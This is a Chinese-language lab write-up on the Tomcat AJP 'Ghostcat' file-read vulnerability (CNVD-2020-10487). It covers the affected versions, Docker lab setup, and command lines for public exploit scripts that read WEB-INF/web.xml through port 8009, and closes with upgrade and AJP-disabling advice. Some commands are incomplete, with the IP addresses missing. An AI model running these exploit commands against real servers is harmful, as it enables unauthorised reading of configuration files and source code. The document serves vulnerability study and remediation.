漏洞介绍
Tomcat在 server.xml中配置了两种连接器:HTTP Connector:监听8080端口,负责建立HTTP连接。在通过浏览器访问Tomcat服务器的Web应用时,使用的就是这个连接器。
AJP Connector:监听8009端口,负责和其他的HTTP服务器建立连接,通过AJP协议和另一个Web容器进行交互。
Tomcat会开启AJP连接器,方便与其他Web服务器通过AJP协议进行交互。而Tomcat服务器8009端口上的AJP协议存在漏洞,攻击者可利用该漏洞读取或包含Tomcat上所有webapp目录下的任意文件,如:webapp配置文件或源代码等
影响版本Apache Tomcat 6
Apache Tomcat 7 < 7.0.100
Apache Tomcat 8 < 8.5.51
Apache Tomcat 9 < 9.0.31
漏洞复现
靶场搭建这里使用Docker部署环境。搜索受影响版本的Tomcat的镜像,这里选择 Tomcat-8.5.32$ docker search tomcat-8.5
$ docker pull duonghuuphuc/tomcat-8.5.32
拉取完成后运行,并通过浏览器访问 http://:8080$ docker run -d -p 8080:8080 -p 8009:8009 duonghuuphuc/tomcat-8.5.32Nmap扫描$ nmap
AjpShooter$ python ajpShooter.py http:// 8080 WEB-INF/web.xml read
Ghostcat$ python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py -p 8009 -f WEB-INF/web.xml
AJPy$ python tomcat.py --port version # 版本探测
$ python tomcat.py read_file --webapp=manager /WEB-INF/web.xml # 文件读取
修复建议更新Tomcat到安全版本Apache Tomcat 7.0.100
Apache Tomcat 8.5.51
Apache Tomcat 9.0.31
关闭AJP:编辑 Tomcat 配置文件 conf/server.xml,找到如下行并将其注释,然后保存配置文件并重新启动Tomcat
其它